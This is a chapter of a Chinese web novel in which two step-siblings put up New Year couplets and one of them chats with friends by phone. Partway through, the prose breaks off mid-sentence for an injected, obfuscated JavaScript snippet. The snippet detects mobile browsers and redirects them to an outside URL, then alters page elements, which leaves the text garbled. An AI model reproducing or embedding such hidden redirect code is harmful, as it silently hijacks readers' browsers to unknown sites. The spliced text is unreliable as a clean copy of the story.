大年三十，好天气。
陈最咬牙看着黎青买的一大袋子东西，太阳穴突突直跳。
她把自己当什么！居然都是婴儿食品！宝宝辅食……不如他现在跳下去给地砸个坑。
黎青没发觉陈最的低气压，自顾自地把东西摆在桌上，她还买了春联，虽然陈最极力反对，但最终拗不过她。
所以，今天两人没有聚在客厅里写作业，勉强对付了午饭，黎青就拉着陈最开始张罗贴春联。
“这种东西贴了干嘛？”陈最冷哼，搞不懂黎青的脑回路。家又不像家，有什么好装扮的。
但黎青没空理他，手机里满是群聊的消息。
自从黎青有了手机之后，柳澍就为她新建了群聊，现在群聊是五个人。
点开刘川的语音条，一股大嗓门直冲天灵盖：“小黎啊你干嘛呢？我妈在炸麻球，可好吃了。”
柳澍：“要死啊刘川，我耳朵差点聋了。”
陆蕊：“过年不能说死字，柳澍你快呸呸呸。”
白诗：“你要不要也呸呸呸一下？”
这么大声音，陈最肯定也听到了，黎青尴尬地往外走，边走边回复：“我贴春联呢。”
可能是看大家都在线，刘川拨通群电话，黎青回头张望，陈最站在茶几旁边，捏着春联不知道在想什么。
她迟疑一小会儿才按下接听键，明亮的笑声一声接一声，好像刘川说了什么，柳澍和陆蕊快笑疯了，里面夹杂着白诗提醒他们不要说死字。
笑声感染了黎青，她的嘴角也微微上扬：“你们在说什么？”
电话里的声音跟平常听起来不一样，黎青温和的嗓音隔着网线听，更……好听了，有点软。
“小六你什么事笑这么贱？好像黄皮子讨封。”
黎青静静聆听陆蕊破口大骂，白诗不断重复过年不宜说脏话，笑得前仰后合。
谈笑间她回眸，陈最已经放下春联，独自站在墙角，莫名……孤单。
对上她的眼睛，陈最也只是不咸不淡地挪开视线，露出冻红的耳朵。
陈最实在有一副好皮相，眉眼低垂掩盖了他的锋利，睫羽投下厌烦疲倦的阴影，线条干净苛刻。
“嗯我先挂了，”黎青快速挂断电话，打破那人的发呆，“哥快来贴春联。”
春联是印刷体，金字，红底，透着股流水线的喜庆。上联“平安如意年年好”，下联“人顺家和事事成”，横批“喜迎新春”。
陈最指尖拂过冰凉滑腻的印刷表面，冷笑。
平安如意？人顺家和？蹩脚的讽刺。
“贴门上？”黎青拿起胶水和福字，兴奋不已，“其实应该熬浆糊贴，但是我不会，之前阿姨家就是这么贴的，听说浆糊可以吃，黏得很紧……”
浆糊？陈最没贴过春联，不懂这些：“丑。要贴你自己贴。”
脸好看，说出来的话却并不美丽。
黎青撇撇嘴，暗想我上就我上。
她深吸一口气，肩膀垮下来，下一秒又挺直了背，搬过一把椅子。
陈最在她踩上椅子前走了过去。
动作有些猛，陈最眼前黑了一瞬。他下意识扶住墙壁，等待那阵眩晕过去。
然而，温暖的手心贴上来，力气不大，努力扶着他，耳边是咋咋呼呼的惊叫：“哥！你不会又要晕吧！”
吵得他耳朵疼。
陈最缓过来，余光注意到一道担忧的目光，身体一瞬间僵住：“我没事。”
哪怕穿着厚厚的毛衣，陈最也觉得那层皮肤烫人，急忙甩开。
黎青没说什么，专心致志地研究怎么贴，陈最站到椅子上，把上联按在铁门左侧。
“有点歪。”黎青说。
陈最调整了一下，发出“刺啦”的轻响。简单的动作，却因为沉默和心不在焉而显得有些笨拙。
贴完上联，黎青去拿横批，陈最往下联涂胶水。
这片区域太安静了，只有他们按压春联的声音。远处隐约传来别人家的电视声、炒菜声、小孩跑跳的笑闹声。那些声音隔着一道道门，模糊而遥远，反而衬得他们这里的寂静更加突兀。
黎青踮着脚，努力想把福字贴得高一点，更正中一点。侧脸在日光下没什么血色，只有专注抿起的嘴唇，透着一股固执的认真。
好像无论做什么，哪怕是贴这种敷衍的春联，她都会用尽全力，让它看起来“像那么回事”。
一种莫名的烦躁涌上陈最心头，为了这种毫无意义的仪式？为了这虚假的装饰？
“差不多行了。”他的声音沾上寒气。
黎青回头看了他一眼，没反驳，只是把福字最后一个角用力按实。
胶水的味道不好闻，臭臭的，陈最皱眉。
“再往左一点。”黎青在下面仰头看着，指挥。
陈最往左挪。
“多了，再回来一点点……停，可以了。”
她的声音很近，从下方传来，清晰而平稳。
就在陈最准备贴上去的瞬间，手指忽然不受控制地一抖。
刺啦——
下联的右上角一大块皱了起来，金色的字在扭曲的红纸上显得格外滑稽。
陈最僵在凳子上。
身后传来不知哪家小孩兴奋的尖叫：“过年啦！放炮啦！”
春联坏了……这是不好的征兆，晦气。
陈父的声音在脑海里横冲直撞：“生你就不是个好事！晦气！”
家是虚假的，热闹是别人的，就连贴个春联，他都做不好。
陈最一把扯下那张春联，揉成一团，动作带着一股戾气，红纸团滚落到黎青脚边。
“不贴了。”他声音硬邦邦的，转身就想进屋。
“等等。”黎青下意识拦住他，语气焦急不安。
她弯腰捡起那个纸团，仔细地把它展平。纸张皱了，留下难看的折痕，毕竟很便宜买的，质量好不到哪去。
她捏着那张皱巴巴的春联，努力追上陈最往楼上走的步伐，心脏问题使她追起来很费力。
喘息传进陈最的耳朵，不敢再走快，脚步逐渐慢下，绷直身体。
“哥，”黎青喊道，“重贴就好了。”
“已经皱了。”
“皱了也能贴，”黎青把春联递还给他，“既然开始了，别是因为皱了这种理由走。”
陈最看着她，她的眼睛亮得惊人，没有责怪，没有对破坏节日气氛的不满。
“我其实很讨厌你。”陈最说。
黎青让他更加厌恶自己。
他接过那张皱巴巴的红纸。纸张粗糙的触感摩擦着指尖。
……但是黎青真的很棒。
“凳子。”
陈最再次站上凳子，这次他稳了很多，黎青在下面，仰着头，仔细观察位置。
“右边一点……好，可以啦哥！”
陈最对准，压下。
从一端到另一端，缓
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16918521|190114||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
慢而用力。皱褶无法完全抚平，在平整的门板上留下凹凸的阴影。
但那四个字——“喜迎新春”总算端正地挂在了那里。
难看，但贴好了。他从凳子上下来，和黎青一起退后两步，看着他们的作品。
正气的上联，褶皱的下联，过于居中的福字，组合在一起不伦不类，像这个拼凑的家一样漏洞百出。
荒谬感退去，取而代之的是一种难以形容的松动。
还有剩下的福字，黎青要贴在家里，拉着陈最把窗户上都贴了一张，甚至陈最的房间也不想放过。
陈最极力挡住，结果黎青说房间要喜庆，好迎财神，硬是将他“拉开”。
贴福字之前要擦玻璃，黎青跃跃欲试，被陈最拽到后边坐着，自己站上窗台边缘，开始擦拭。
黎青闲不住，拿了扫把进来要大扫除。
陈最靠着玻璃，无奈地看黎青用心地打扫他的房间，嘴里还偷含了颗花生糖。
冰冷的玻璃，温湿的接触面。
他按住福字，等待着胶水和玻璃融合，薄薄的红纸抵挡不住玻璃的凉意，丝丝缕缕渗透过来。
几秒后，他松开手。
福字最终服帖地附着在明净的玻璃上。
“好了。”黎青说，她嘴里的糖大概变小了，声音清晰了些。
两人并肩站在玻璃前，映出彼此模糊影子。
“难看。”他评价。
“嗯。”黎青表示同意。
但谁也没有动手去撕掉。
*
晚饭是速冻饺子。漓南并没有过年吃饺子的习俗，黎青想吃点不一样的，陈最不想吃饭，她只能拿了价格便宜又不怎么吃的速冻饺子。
幸好味道还是不错的，她一个人吃了一碗，剩下的准备当明天的早饭。
陈最什么也没吃，早早地回房了。失控的指责让他现在面对黎青时有些难堪，他需要静静。
既然陈最不在，黎青索性打开电视，各个平台都在播放春晚，她笑点低，春晚的每个小品她都觉得好笑。
刘川不爱看春晚，拨了群视频喊陆蕊：“看我为过年新剪的发型，帅不帅？”
陆蕊不方便说话，静音后在群聊里发了三个字：丑爆了。
刘川：“卧槽好恐怖的话你快撤回去。”
白诗没接，柳澍那边在和她妈妈拉锯，一个不想吃一个非要喂，黎青听着，时不时插两句话，安静地看春晚。
欢声笑语从下面传到上边，涌进幽暗封闭的房间里。
柳澍送走她妈妈，在电话里呼叫黎青一起斗地主。
黎青茫然：“我不会。”
“那麻将呢？”
“不会。”
“你会什么？”
黎青思考几分钟：“我会用树叶做面具。”
“什么意思？奥特曼游戏？”刘川自行理解，“对了小六，你别不信，我真的头发巨香。”
陆蕊没招了：“好，你最香。”
刘川乐了：“喜欢的话我浴室那瓶十三合一送你！”
其余三人：“？”
“真的好用，还能当洗衣液和洁厕灵。”刘川满意地揉搓头发，声称男人就应该用这个，他身边朋友都是同款。
白诗不在，没有其他男生反驳，黎青猛地思考陈最用的是不是正常的洗发膏。
没等她想太多，柳澍突然叫道——
“哎？小黎你身后怎么有个男人？”